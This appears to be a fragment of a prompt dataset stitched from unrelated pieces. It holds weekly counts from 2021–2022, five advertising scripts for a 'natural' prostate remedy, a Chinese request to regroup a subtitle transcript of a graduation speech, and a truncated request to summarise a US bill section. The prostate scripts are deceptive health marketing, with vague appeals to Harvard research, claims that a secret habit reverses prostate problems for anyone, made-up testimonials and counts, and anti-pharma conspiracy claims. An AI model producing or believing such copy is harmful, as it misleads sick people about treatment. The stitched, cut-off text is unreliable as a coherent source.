83636\n26/05/2021 91889\n2/06/2021 108438\n9/06/2021 96988\n16/06/2021 128831\n23/06/2021 128967\n30/06/2021 128121\n7/07/2021 122012\n14/07/2021 134732\n21/07/2021 157937\n28/07/2021 213411\n4/08/2021 267158\n11/08/2021 276385\n18/08/2021 268841\n25/08/2021 420764\n1/09/2021 570405\n8/09/2021 504466\n15/09/2021 405640\n22/09/2021 358895\n29/09/2021 304875\n6/10/2021 363497\n13/10/2021 506731\n20/10/2021 429080\n27/10/2021 241438\n3/11/2021 237312\n10/11/2021 171321\n17/11/2021 154403\n24/11/2021 132018\n1/12/2021 206206\n8/12/2021 191775\n15/12/2021 127191\n22/12/2021 131678\n29/12/2021 70166\n5/01/2022 106748\n12/01/2022 292715\n19/01/2022 295537\n26/01/2022 403361\n2/02/2022 315053\n9/02/2022 359909\n16/02/2022 343619\n23/02/2022 227990\n2/03/2022 183912\n9/03/2022 97155\n16/03/2022 68202\n23/03/2022 69106\n30/03/2022 48220\n6/04/2022 29621\n13/04/2022 23077\n20/04/2022 12233\n27/04/2022 15824\n4/05/2022 14500\n11/05/2022 10444\n18/05/2022 9414\n25/05/2022 8084\n1/06/2022 8973\n8/06/2022 7740\n15/06/2022 9358\n22/06/2022 9304\n29/06/2022 21525\n6/07/2022 53409\n13/07/2022 87631\n20/07/2022 92490\n27/07/2022 75540\n3/08/2022 67269\n10/08/2022 56627\n17/08/2022 48211\n24/08/2022 41430\n31/08/2022 33247\n7/09/2022 24897\n14/09/2022 22764\n21/09/2022 18083\n28/09/2022 12579' -"That was the last of the vision loss scripts. The next scripts are about prostate:\nScript 16:\nThis changes everything we know about enlarged prostates!\n\nAfter a ground breaking study which analysed the way 12,500 American men pee...\n\nScientists made a shocking discovery…\n\nThey discovered that even men who frequently have the frequent urge to urinate, or weak streams are at risk for prostate problems, which include prostate cancer, benign prostatic hyperplasia and prostatitis. \n\nSo if you have any prostate issues you must stop what your doing and watch this! this discovery could save your life. \n\nA shocking link between cortisol and your prostate was discovered by researchers at prestigious institutions like Harvard University, these studies show that your prostate will continue to swell like a balloon, even if you use traditional therapies. \n\nAnd that's because they don't do a single thing to actually improve the root cause of your prostate issues. These brilliant scientist’s have discovered the real reason why you can't sleep through the night without multiple bathroom trips. \n\nThe discovery lead to a revolutionary new way to reverse your prostate problems once and for all. No matter what your age, your current condition, and it works like crazy. \n\nThis secret habit is so amazing. It sent the entire prostate pharma industry back to the drawing board. And it's currently losing the millions of dollars. \n\n18 thousand men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river. It's so powerful because it targets the single root cause of enlarged prostates. So if you're suffering from frequent urination, overwhelming urges to go and weak streams. \n\nStop everything you're doing and click the link below to watch a short free special video, that explains exactly how to reverse prostate problems quickly. And no, this has nothing to do with meds, surgery or Saw Palmetto and it works for all types of prostate symptoms. \nFrequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams, you name it. \n\nHundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. \nAnd for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. \n\nHow did this breakthrough happen? It's all thanks to the brilliant team of researchers right here in the USA, who figured out how to develop the perfect cortisol busting protocol, that can stop prostate growth in its tracks and reverse all of those miserable symptoms. After months of intense study and testing, they identified 13 prostate helpers, proven to turn back the clock on enlarged prostates giving thousands of men everywhere powerful streams, better sleep and turbocharged libidos. \n\nAs you can imagine, the pharmaceutical complex is trying their best to get this video taken down in a desperate attempt to save their profits. \n\nSo click the link below and watch this short eye opening video before it's gone. Click Below before it's too late.\n\nScript 17:\nWant to know how to reduce your swollen prostate for good? \n\ntop medical doctor shows how a 56 year old man who had been suffering from persistent prostate issues, used this all natural method to reduce his swollen prostate and finally fix all his swollen prostate symptoms in record time! \n\nAfter studying the way 12,500 American men pee... Scientists made a shocking discovery, They discovered a natural way to drastically restore swollen prostate’s, in record time. The\nstudies show that your prostate will continue to swell each passing year, even if you use traditional therapies. Like\nSaw\nPalmetto or other medications, And that's because they don't do a single thing to actually improve the root cause of your prostate issues. This\nbrilliant scientist has discovered the real reason why your prostate is swelling. and this simple trick that can reverse your prostate problems while you sleep through the night, no matter your age or current condition. A shocking link between cortisol and your prostate was discovered by researchers at prestigious institutions like Harvard University\n\nThese studies have shown that even men who have mild symptoms such as the frequent urge to urinate, or weak streams are at risk for prostate problems, which include prostate cancer, benign prostatic hyperplasia and prostatitis.\n\nSo stop everything you're doing and click the link below to watch a short free special video, Discover this revolutionary new way to reverse your prostate problems once and for all. and it works for all types of prostate symptoms. Frequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams.\nand it works like crazy.\n\nThis one simple trick is so amazing It sent the entire prostate- care industry back to the drawing board and it's currently losing them millions of dollars. \n\nOver 37,000 men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river.\nAnd no, this has nothing to do with meds, surgery or Saw Palmetto. Hundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. And for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. Jim is a man who had gotten a prostate exam by his urologist seven months ago, his examination came back that he had a severely swollen prostate that was blocking his urethra, He was prescribed a catheter. But soon after he discovered and started doing this simple habit. He couldn't believe his results. \n\nWhen he went to the toilet he was shock to see first hand that he was finally able to empty his bladder, he noticed his libido was increasing, and he could finally sleep the whole night without waking up\n\nAfter a month, he went back to see the doctor who was shocked to see that Jim was cleared and the doctor no longer said a word about a catheter\n\nSo click the link below and watch the short free eye opening video now before it's gone for good. \n\nIf it worked for Jim and thousands of other men. Imagine what it can do for you too!\n\nScript 18:\nWant to know how to reduce your swollen prostate for good?\n\nTop doctor from has discovered the real root cause of swollen prostates. And it has nothing to do with your diet, testosterone levels or even genetics. \n\nBut instead The studies show that your prostate will continue to swell each passing year, even if you use traditional therapies. Like saw Palmetto or other medications, And that's because they don't do a single thing to actually improve the root cause of your prostate issues.\n\nSo before you resign yourself to being hooked on medication for life or other deliberating surgeries, you’ve got to see this now, \n\nthis well known doctor was forced out of his practice after he unveiled a billion dollar secret he wasn't supposed to know a clinically proven simple trick you can use starting today to potentially reduce your swollen prostate, regardless of your age or medical condition, and it works like crazy. \n\nMore than 43,000 men are already doing it and they have been able to treat reduce their swollen prostate successfully and no longer suffer with the serious and sometimes embarrassing symptoms, they are no longer waking up during the night and have finally restored strong and powerful streams being able to completely receive them selves!\n\nRemember, this has nothing to do with meds, surgery or expensive treatments, \n\nwell stop everything you're doing and click the link below to watch a short free special video this doctor created \n\nThe $390 billion Prostate care industry doesn't want you to see this video and discover the extraordinary prostate fighting secret. Watch it now before it's too late.\n\nScript 19: \nIf you suffer from a swollen prostate, this might be the most important video you ever watch. \nAfter studying 12,500 American men pee, scientists discovered a revolutionary way to reverse enlarged prostates. \n\nTheir studies show that type a swollen prostate is a completely reversible condition, and if not treated properly, it increases the risk of so many other life threatening diseases such prostate cancer, benign prostatic hyperplasia and prostatitis. \n\nThis simple discovery is already helping thousands of men to free themselves from their swollen prostate symptoms. \n\nFor the first time in years, they have been able sleep through the night without multiple bathroom trips and uncomfortable urges to go, inability to empty their bladder and finally able to completely relieve themselves.\nIt doesn't require Saw palmetto or any other expensive meds, treatments, diets or surgery, instead a unique and very different way to finally reduce swollen prostates by targeting the real root cause of your prostate issues. \n\nAnd today, I'm going to show you how it's helping thousands of men from all around the world to drastically restore their swollen prostate’s, in record time.\nSo stop everything you're doing and click the link below to watch a short free special video, Discover how to quickly reverse your prostate problems once and for all. and it works for all types of prostate symptoms. Frequent urination, waking up multiple times a night to pee, uncomfortable urges to go, low libido, inability to empty your bladder and weak start and stop streams while also saving hundreds or even thousands of dollars on medications.\n\nAnd this unique and very different method of treating your swollen prostate, will provide immediate and long lasting results, is affordable for anyone uses natural ingredients has zero side effects. \n\nThis all natural solution is so simple and effective. \nThat no matter how severe or swollen your prostate is, how long you have been struggling with it for or what your family medical history is, it can be implemented into your daily routine in the comfort of your own home in a matter of seconds each day. \n\nThis all natural solution has saved the lives of over 76,000 men across the world and counting. Hundreds of men have been writing in sharing how this new prostate breakthrough has changed their lives. \n\nWell stop everything you're doing and click the link below to watch a short free private video. \n\nThe $390 billion prostate care industry doesn't want you to see these video and discover the extraordinary swollen prostate fighting secret. Watch it now before it's too late.\n\nScript 20:\nIf you're suffering from a growing prostate and always running to the bathroom to pee, you must see this. \n\nDid you know prostate problems have nothing to do with your age or even your testosterone levels? \n\nA shocking link between cortisol and your prostate was discovered by researchers at the University of Iowa, along with researchers at prestigious institutions like Harvard University, these studies show that your prostate will continue to swell like a balloon, even if you use traditional therapies. \n\nAnd that's because they don't do a single thing to actually improve the root cause of your prostate issues. This brilliant scientist helped in discovering the real reason why you can't sleep through the night without multiple bathroom trips, and a revolutionary new way to reverse your prostate problems once and for all. No matter what your age, your current condition, and it works like crazy. \n\nThis secret habit is so amazing. It sent the entire prostate pharma industry back to the drawing board. And it's currently losing the millions of dollars. \n\n18 thousand men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river. It's so powerful because it targets the single root cause of enlarged prostates. So if you're suffering from frequent urination, overwhelming urges to go and weak streams. \n\nStop everything you're doing and click the link below to watch a short free special video, that explains exactly how to reverse prostate problems quickly. And no, this has nothing to do with meds, surgery or Saw Palmetto and it works for all types of prostate symptoms. \nFrequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams, you name it. \n\nHundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. \nAnd for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. \n\nHow did this breakthrough happen? It's all thanks to the brilliant team of researchers right here in the USA, who figured out how to develop the perfect cortisol busting protocol, that can stop prostate growth in its tracks and reverse all of those miserable symptoms. After months of intense study and testing, they identified 13 prostate helpers, proven to turn back the clock on enlarged prostates giving thousands of men everywhere powerful streams, better sleep and turbocharged libidos. \n\nAs you can imagine, the pharmaceutical complex is trying their best to get this video taken down in a desperate attempt to save their profits. \n\nSo click the link below and watch this short eye opening video before it's gone. Click Below before it's too late." -"下面的內容是一個逐字稿分段，目前他被拆成了212個分段，但是分段的很混亂，沒有整理過，所以讓人很難閱讀跟理解。接下來我需要你扮演一個能夠快速理解文意、並且將逐字稿切分成完整段落的文字編輯者。請你讀過內容後，重新把這個逐字稿整理成12段語意、段落、都能夠完整表達句子的段落。\n\n1\n00:00:07,533 --> 00:00:09,599\nI found that nothing in life\n\n2\n00:00:10,100 --> 00:00:11,466\nis worthwhile\n\n3\n00:00:12,000 --> 00:00:13,700\nunless you take risks\n\n4\n00:00:14,400 --> 00:00:15,200\nnothing\n\n5\n00:00:16,366 --> 00:00:19,933\nNelson Mandela said there is no passion to be found\n\n6\n00:00:20,133 --> 00:00:21,466\nplaying small\n\n7\n00:00:21,866 --> 00:00:24,066\nin settling for a life that's less\n\n8\n00:00:24,400 --> 00:00:26,566\nthan the one you're capable of living\n\n9\n00:00:27,300 --> 00:00:29,300\nnow I'm sure in your experiences in school\n\n10\n00:00:29,300 --> 00:00:30,866\nand applying to college and\n\n11\n00:00:30,900 --> 00:00:31,766\npicking your major\n\n12\n00:00:31,766 --> 00:00:33,366\nand deciding what you want to do with\n\n13\n00:00:33,366 --> 00:00:35,533\nlike I'm sure people have told you\n\n14\n00:00:35,566 --> 00:00:37,866\nto make sure you have something to fall back on\n\n15\n00:00:38,066 --> 00:00:40,166\nmake sure you got something to fall back on honey\n\n16\n00:00:41,333 --> 00:00:43,466\nbut I never understood that concept\n\n17\n00:00:43,866 --> 00:00:45,666\nhaving something to fall back on\n\n18\n00:00:46,866 --> 00:00:48,333\nif I'm going to fall\n\n19\n00:00:49,333 --> 00:00:51,499\nI don't want to fall back on anything\n\n20\n00:00:51,900 --> 00:00:53,466\nI want to fall forward\n\n21\n00:00:54,366 --> 00:00:55,533\nI figure at least this way\n\n22\n00:00:55,533 --> 00:00:57,133\nI'll see what I'm going to hit\n\n23\n00:00:59,333 --> 00:01:00,699\nwithout consistency\n\n24\n00:01:01,300 --> 00:01:02,566\nyou'll never finish\n\n25\n00:01:04,500 --> 00:01:07,666\nso do what you feel passionate about passionate about\n\n26\n00:01:08,100 --> 00:01:09,533\ntake chances\n\n27\n00:01:10,933 --> 00:01:12,366\ndon't be afraid to fail this\n\n28\n00:01:12,366 --> 00:01:15,199\nan old IQ test was nine dots\n\n29\n00:01:15,566 --> 00:01:16,899\nand you had to\n\n30\n00:01:16,966 --> 00:01:20,399\ndraw five lines with a pencil within these nine dots\n\n31\n00:01:21,200 --> 00:01:22,466\nwithout lifting the pencil\n\n32\n00:01:22,933 --> 00:01:25,799\nthe only way to do it was to go outside the box\n\n33\n00:01:28,166 --> 00:01:29,566\ndon't be afraid to\n\n34\n00:01:30,133 --> 00:01:31,799\nthink outside the box\n\n35\n00:01:31,800 --> 00:01:34,333\ndon't be afraid to fail big\n\n36\n00:01:34,566 --> 00:01:37,899\nto dream big but remember\n\n37\n00:01:39,166 --> 00:01:40,366\ndreams\n\n38\n00:01:41,066 --> 00:01:42,399\nwithout goals\n\n39\n00:01:43,466 --> 00:01:45,066\nare just dreams\n\n40\n00:01:48,866 --> 00:01:51,899\nReggie Jackson struck out 2600 times in his career\n\n41\n00:01:51,900 --> 00:01:54,533\nthe most in the history of baseball\n\n42\n00:01:54,533 --> 00:01:56,466\nbut you don't hear about the strikeouts\n\n43\n00:01:56,466 --> 00:01:58,299\npeople remember the home runs\n\n44\n00:01:59,766 --> 00:02:00,899\nfall forward\n\n45\n00:02:02,500 --> 00:02:05,766\nThomas Edison conducted 1000 failed experiments\n\n46\n00:02:05,766 --> 00:02:07,199\ndid you know that I didn't know that\n\n47\n00:02:08,800 --> 00:02:12,366\nbecause the 1000 and 1st was the light bulb\n\n48\n00:02:14,266 --> 00:02:15,466\nfall forward\n\n49\n00:02:16,933 --> 00:02:20,766\nevery failed experiment is one step closer to success\n\n50\n00:02:21,933 --> 00:02:23,533\nyou've got to take risks\n\n51\n00:02:23,533 --> 00:02:25,766\nand I'm sure you've probably heard that before\n\n52\n00:02:25,766 --> 00:02:28,733\nbut I want to talk to you about why that's so important\n\n53\n00:02:32,400 --> 00:02:35,566\nyou will fail at some point in your life except it\n\n54\n00:02:35,700 --> 00:02:36,866\nyou will lose\n\n55\n00:02:37,500 --> 00:02:39,200\nyou will embarrass yourself\n\n56\n00:02:39,700 --> 00:02:41,733\nyou will suck at something\n\n57\n00:02:41,766 --> 00:02:43,166\nthere's no doubt about it\n\n58\n00:02:43,866 --> 00:02:44,966\nand I know that's probably\n\n59\n00:02:44,966 --> 00:02:47,666\nnot a traditional message for a graduation ceremony\n\n60\n00:02:47,666 --> 00:02:48,466\nbut hey\n\n61\n00:02:48,566 --> 00:02:51,866\nI'm telling you embrace it because it's inevitable\n\n62\n00:02:56,733 --> 00:02:58,866\nin the acting business you fail all the time\n\n63\n00:02:58,866 --> 00:03:00,199\nearly on in my career\n\n64\n00:03:00,766 --> 00:03:03,666\nI auditioned for a part in a Broadway musical\n\n65\n00:03:04,400 --> 00:03:05,966\nperfect role for me I thought\n\n66\n00:03:06,566 --> 00:03:08,566\nexcept for the fact that I can't sing\n\n67\n00:03:11,200 --> 00:03:12,333\nI didn't get the job\n\n68\n00:03:16,066 --> 00:03:17,266\nbut here's the thing\n\n69\n00:03:18,600 --> 00:03:19,966\nI didn't quit\n\n70\n00:03:21,466 --> 00:03:23,066\nI didn't fall back\n\n71\n00:03:24,500 --> 00:03:27,133\nI walked out of there to prepare for the next audition\n\n72\n00:03:27,133 --> 00:03:28,199\nand the next audition\n\n73\n00:03:28,200 --> 00:03:29,466\nand the next audition\n\n74\n00:03:30,100 --> 00:03:31,200\nI prayed\n\n75\n00:03:33,166 --> 00:03:35,966\nI prayed and I prayed\n\n76\n00:03:38,266 --> 00:03:39,699\nbut I continue to fail\n\n77\n00:03:40,100 --> 00:03:40,933\nand fail\n\n78\n00:03:41,666 --> 00:03:43,933\nand fail but it didn't matter because you know what\n\n79\n00:03:44,533 --> 00:03:45,666\nthere's an old saying\n\n80\n00:03:46,166 --> 00:03:48,199\nyou hang around the barbershop long enough\n\n81\n00:03:48,200 --> 00:03:50,100\nsooner or lady you're gonna get a haircut\n\n82\n00:03:52,300 --> 00:03:53,800\nso you will catch a break\n\n83\n00:03:53,800 --> 00:03:55,366\nand I did catch a break\n\n84\n00:03:57,366 --> 00:03:58,366\nlast year\n\n85\n00:03:59,466 --> 00:04:01,733\nI did a play called fences on Broadway\n\n86\n00:04:02,533 --> 00:04:03,666\nbut here's the kicker\n\n87\n00:04:04,766 --> 00:04:06,499\nit was at the court theater\n\n88\n00:04:07,700 --> 00:04:09,500\nit was at the same theater\n\n89\n00:04:09,733 --> 00:04:11,966\nthat I failed at 1st audition\n\n90\n00:04:12,300 --> 00:04:13,500\n30 years prior\n\n91\n00:04:15,300 --> 00:04:16,300\nthe point is\n\n92\n00:04:16,300 --> 00:04:18,766\nevery graduate here today has the training\n\n93\n00:04:18,866 --> 00:04:21,099\nand the talent to succeed\n\n94\n00:04:21,500 --> 00:04:24,133\nbut do you have the guts to fail\n\n95\n00:04:26,733 --> 00:04:28,366\nif you don't fail\n\n96\n00:04:29,200 --> 00:04:30,733\nyou're not even trying\n\n97\n00:04:33,533 --> 00:04:34,466\nI'll say it again\n\n98\n00:04:34,466 --> 00:04:37,266\nif you don't fail you're not even trying\n\n99\n00:04:38,933 --> 00:04:41,166\nto get something you never had\n\n100\n00:04:41,200 --> 00:04:43,966\nyou have to do something you never did\n\n101\n00:04:45,500 --> 00:04:47,466\nas imagine you're on your deathbed\n\n102\n00:04:47,800 --> 00:04:49,733\nand standing around your deathbed\n\n103\n00:04:50,066 --> 00:04:53,733\nare the ghosts representing your unfulfilled potential\n\n104\n00:04:54,533 --> 00:04:57,499\nthe ghost of the ideas you never acted on\n\n105\n00:04:58,066 --> 00:05:00,599\nthe ghost of the talents you didn't use\n\n106\n00:05:01,700 --> 00:05:03,700\nand they're standing around your bed\n\n107\n00:05:04,400 --> 00:05:05,333\nangry\n\n108\n00:05:06,000 --> 00:05:08,666\ndisappointed and upset\n\n109\n00:05:12,500 --> 00:05:14,400\nthey say we we came to you\n\n110\n00:05:14,566 --> 00:05:17,499\nbecause you could have brought us to life they say\n\n111\n00:05:20,300 --> 00:05:22,700\nand now we have to go to the grave together\n\n112\n00:05:24,533 --> 00:05:25,966\nso I ask you today\n\n113\n00:05:27,700 --> 00:05:29,700\nhow many ghosts are going to be around your bed\n\n114\n00:05:29,700 --> 00:05:31,166\nwhen your time comes\n\n115\n00:05:43,066 --> 00:05:45,766\nI just got back from South Africa's beautiful country\n\n116\n00:05:46,466 --> 00:05:48,533\nbut there are places there with terrible\n\n117\n00:05:48,900 --> 00:05:50,300\npoverty that need help\n\n118\n00:05:51,533 --> 00:05:54,133\nan Africa is just the tip of the iceberg\n\n119\n00:05:54,200 --> 00:05:55,866\nthe Middle East needs your help\n\n120\n00:05:55,866 --> 00:05:57,399\nJapan needs your help\n\n121\n00:05:57,400 --> 00:05:59,933\nAlabama needs your help Tennessee needs your help\n\n122\n00:05:59,933 --> 00:06:01,566\nLouisiana needs your help\n\n123\n00:06:01,566 --> 00:06:03,266\nPhiladelphia needs your help\n\n124\n00:06:06,900 --> 00:06:09,766\nthe world needs a lot and we need it from you\n\n125\n00:06:10,933 --> 00:06:12,933\nwe really do we need it from you young people\n\n126\n00:06:12,933 --> 00:06:14,899\nI mean I'm not speaking for the rest of us up here\n\n127\n00:06:14,900 --> 00:06:16,600\nbut I know I'm getting a little grayer\n\n128\n00:06:18,866 --> 00:06:20,499\nwe need it from you the young people\n\n129\n00:06:20,500 --> 00:06:21,733\nbecause remember this\n\n130\n00:06:22,333 --> 00:06:23,966\nbut you gotta get out there\n\n131\n00:06:24,300 --> 00:06:25,966\nyou gotta give it everything you got\n\n132\n00:06:25,966 --> 00:06:27,599\nwhether it's your time\n\n133\n00:06:29,000 --> 00:06:32,000\nyour talent your prayers\n\n134\n00:06:32,333 --> 00:06:33,733\nor your treasures\n\n135\n00:06:36,000 --> 00:06:37,933\nwhat are you going to do with what you have\n\n136\n00:06:37,933 --> 00:06:40,066\nI'm not talking about how much you have\n\n137\n00:06:40,666 --> 00:06:42,099\nsome of you are business mages\n\n138\n00:06:42,100 --> 00:06:44,700\nsome of you are theologians nurses sociologies\n\n139\n00:06:44,800 --> 00:06:46,100\nsome of you have money\n\n140\n00:06:46,100 --> 00:06:47,600\nsome of you have patience\n\n141\n00:06:47,600 --> 00:06:49,066\nsome of you have kindness\n\n142\n00:06:49,066 --> 00:06:50,466\nsome of you have love\n\n143\n00:06:50,500 --> 00:06:53,000\nsome of you have a gift of long suffering\n\n144\n00:06:53,000 --> 00:06:55,266\nwhatever it is whatever your gift is\n\n145\n00:06:55,733 --> 00:06:59,166\nwhat are you going to do with what you have\n\n146\n00:07:00,366 --> 00:07:02,533\nall right now here's my last point about failure\n\n147\n00:07:03,733 --> 00:07:04,933\nsometimes\n\n148\n00:07:06,100 --> 00:07:07,566\nit's the best way\n\n149\n00:07:08,933 --> 00:07:10,533\nto figure out where you're going\n\n150\n00:07:12,133 --> 00:07:14,266\nyour life will never be a straight path\n\n151\n00:07:15,300 --> 00:07:18,066\nI began at fordham university as a pre med student\n\n152\n00:07:18,466 --> 00:07:20,166\nI took a course called that\n\n153\n00:07:21,366 --> 00:07:22,599\nkandiak morphogenesis\n\n154\n00:07:22,600 --> 00:07:24,166\nI couldn't read it I couldn't say it\n\n155\n00:07:24,166 --> 00:07:25,666\nI sure couldn't pass it\n\n156\n00:07:26,733 --> 00:07:29,999\nso then I decided to go into pre law then journalism\n\n157\n00:07:30,100 --> 00:07:31,566\nand with no academic focus\n\n158\n00:07:31,566 --> 00:07:33,966\nmy grades took off in their own direction\n\n159\n00:07:35,766 --> 00:07:38,099\nI was a 1.8 GPA\n\n160\n00:07:39,100 --> 00:07:41,566\nand the university very politely suggested\n\n161\n00:07:41,566 --> 00:07:43,866\nthat it might be better to take some time off\n\n162\n00:07:46,400 --> 00:07:47,866\nI was 20 years old\n\n163\n00:07:48,100 --> 00:07:49,666\nI was at my lowest point\n\n164\n00:07:49,966 --> 00:07:52,866\nand then one day and I remember the exact day\n\n165\n00:07:52,966 --> 00:07:57,499\n27/3/1975 I was helping my mother in a beauty shop\n\n166\n00:07:57,500 --> 00:07:59,566\nmy mother in a beauty shop up in my Vernon\n\n167\n00:07:59,700 --> 00:08:00,166\nand there was\n\n168\n00:08:00,166 --> 00:08:01,533\nthere was this older woman\n\n169\n00:08:01,966 --> 00:08:04,566\nwho was considered one of the elders in the town\n\n170\n00:08:04,566 --> 00:08:06,266\nand I didn't know her personally\n\n171\n00:08:06,266 --> 00:08:07,699\nbut I was looking in the mirror\n\n172\n00:08:07,700 --> 00:08:09,666\nand every time I looked at the mirror I could see her\n\n173\n00:08:09,700 --> 00:08:11,566\nbehind me and she was staring at me\n\n174\n00:08:12,666 --> 00:08:14,566\nshe just kept looking at every time I looked at it\n\n175\n00:08:14,566 --> 00:08:16,299\nshe kept giving me these strange looks\n\n176\n00:08:16,700 --> 00:08:19,100\nso she finally took the dry or off her head and said\n\n177\n00:08:19,800 --> 00:08:21,366\nshe said something I'll never forget\n\n178\n00:08:22,400 --> 00:08:23,733\nshe said young boy\n\n179\n00:08:24,166 --> 00:08:25,533\nI have a prophecy\n\n180\n00:08:26,000 --> 00:08:27,866\na spiritual prophecy\n\n181\n00:08:29,466 --> 00:08:32,133\nshe said you are going to travel the world\n\n182\n00:08:32,466 --> 00:08:34,899\nand speak to millions of people\n\n183\n00:08:37,466 --> 00:08:38,666\nand in the years that followed\n\n184\n00:08:38,666 --> 00:08:40,399\njust as that woman prophesize\n\n185\n00:08:40,400 --> 00:08:41,866\nI have traveled the world\n\n186\n00:08:41,866 --> 00:08:43,966\nand I have spoken to millions of people\n\n187\n00:08:43,966 --> 00:08:45,133\nthrough my movies\n\n188\n00:08:45,800 --> 00:08:47,866\nmillions who up till this day\n\n189\n00:08:48,166 --> 00:08:49,199\ncouldn't see me\n\n190\n00:08:49,200 --> 00:08:52,166\nI who who up till this day I couldn't see\n\n191\n00:08:52,500 --> 00:08:54,666\nwhile I was talking to them and they couldn't see me\n\n192\n00:08:54,666 --> 00:08:55,933\nthey could only see the movie\n\n193\n00:08:56,933 --> 00:08:58,366\nit couldn't see the real me\n\n194\n00:09:00,466 --> 00:09:02,333\nbut I see youth today\n\n195\n00:09:03,900 --> 00:09:06,133\nand I'm encouraged by what I see\n\n196\n00:09:07,866 --> 00:09:10,733\nand I'm strengthened by what I see\n\n197\n00:09:14,200 --> 00:09:17,900\nbecause taking risk is not just about going for a job\n\n198\n00:09:18,300 --> 00:09:20,600\nit's also about knowing what you know\n\n199\n00:09:20,733 --> 00:09:22,166\nand what you don't know\n\n200\n00:09:22,366 --> 00:09:24,599\nit's about being open to people\n\n201\n00:09:25,366 --> 00:09:27,066\nand two ideas\n\n202\n00:09:28,200 --> 00:09:29,566\nthe chances you take\n\n203\n00:09:29,900 --> 00:09:31,400\nthe people you meet\n\n204\n00:09:31,700 --> 00:09:33,266\nthe people you love\n\n205\n00:09:33,666 --> 00:09:35,366\nthe faith that you have\n\n206\n00:09:35,733 --> 00:09:37,766\nthat's what's going to define you\n\n207\n00:09:40,166 --> 00:09:41,533\nnever be discouraged\n\n208\n00:09:42,733 --> 00:09:44,066\nnever hold back\n\n209\n00:09:45,100 --> 00:09:46,600\ngive everything you got\n\n210\n00:09:48,066 --> 00:09:49,933\nand when you fall throughout light\n\n211\n00:09:50,200 --> 00:09:51,100\nremember this\n\n212\n00:09:52,766 --> 00:09:53,933\nfall forward" -"Summarize this section for me:\n\nSEC. 7. RESOLUTION OF DISAPPROVAL OF DESIGNATION OR REMOVAL OF \n DESIGNATION OF A FOREIGN ADVERSARY.\n\n (a) Definition.--In this section--\n (1) the term ``covered joint resolution'' means a joint \n resolution of disapproval of designation or a joint resolution \n of disapproval of removal of designation;\n (2) the term ``joint resolution of disapproval of \n designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the designation by the Secretary of Commerce of \\_\\_\\_ \n as a foreign adversary for purposes of the Securing the \n Information and Communications Technology and Services Supply \n Chain Act of 2023, and such designation shall have no force or \n effect until the Secretary of Commerce provides specific \n evidence to the relevant committees of Congress regarding the \n removal of designation under section 6(a) of that Act.'' (The \n blank space being appropriately filled in with the name of the \n foreign person of which the Secretary has designated as a \n foreign adversary of for purposes of this Act); and\n (3) the term ``joint resolution of disapproval of removal \n of designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the removal of designation by the Secretary of \n Commerce of \\_\\_\\_ as a foreign adversary for purposes of the \n Securing the Information and Communications Technology and \n Services Supply Chain Act of 2023, and such removal shall have \n no force or effect until the Secretary of Commerce provides \n specific evidence to the relevant committees of Congress \n regarding the removal of designation under section 6(a) of that \n Act.'' (The blank space being appropriately filled in with the \n name of the foreign government or regime of which the Secretary \n has removed the designation as a foreign adversary of for \n purposes of this Act).\n (b) Expedited Consideration of Legislation.--\n (1) Initiation.--In the event the Secretary designates a \n foreign government or regime as a foreign adversary or removes \n such designation as a foreign adversary, a joint resolution of \n disapproval of designation or a joint resolution of disapproval \n of removal of designation, as applicable, that is introduced \n during the 60-calendar day period thereafter shall be entitled \n to expedited consideration pursuant to this subsection.\n (2) Introduction.--During the 60-calendar day period \n provided for in paragraph (1), a covered joint resolution may \n be introduced--\n (A) in the Senate, by the Majority Leader (or the \n designee of the Majority Leader) or the Minority Leader \n (or the designee of the Minority Leader); and\n (B) in the House of Representatives, by the Speaker \n or the Minority Leader.\n (3) Floor consideration in house of representatives.--\n (A) Reporting and discharge.--If a relevant \n committee of the House to which a covered joint \n resolution has been referred has not reported such \n covered joint resolution within 10 legislative days \n after the date of referral, that committee shall be \n discharged from further consideration thereof.\n (B) Proceeding to consideration.--Beginning on the \n third legislative day after each committee to which \n covered joint resolution has been referred reports the \n covered joint resolution to the House or has been \n discharged from further consideration thereof, it shall \n be in order to move to proceed to consider the covered \n joint resolution in the House. All points of order \n against the motion are waived. Such a motion shall not \n be in order after the House has disposed of a motion to \n proceed on the covered joint resolution with regard to \n the same agreement. The previous question shall be \n considered as ordered on the motion to its adoption \n without intervening motion. The motion shall not be \n debatable. A motion to reconsider the vote by which the \n motion is disposed of shall not be in order.\n (C) Consideration.--The covered joint resolution \n shall be considered as read. All points of order \n against the covered joint resolution and against its \n consideration are waived. The previous question shall \n be considered as ordered on the covered joint \n resolution to final passage without intervening motion \n except 2 hours of debate equally divided and controlled \n by the sponsor of the covered joint resolution (or a \n designee) and an opponent. A motion to reconsider the \n vote on passage of the covered joint resolution shall \n not be in order.\n (4) Consideration in the senate.--\n (A) Committee referral.--A covered joint resolution \n introduced in the Senate shall be referred to the \n relevant committees of the Senate.\n (B) Reporting and discharge.--If a relevant \n committee of the Senate has not reported such covered \n joint resolution within 10 session days after the date \n of referral of such legislation, that committee shall \n be discharged from further consideration of such \n legislation and the covered joint resolution shall be \n placed on the appropriate calendar.\n (C) Proceeding to consideration.--Notwithstanding \n Rule XXII of the Standing Rules of the Senate, it is in \n order at any time after each committee authorized to \n consider covered joint resolution reports it to the \n Senate or has been discharged from its consideration \n (even though a previous motion to the same effect has \n been disagreed to) to move to proceed to the \n consideration of the covered joint resolution, and all \n points of order against covered joint resolution (and \n against consideration of the covered joint resolution) \n are waived. The motion to 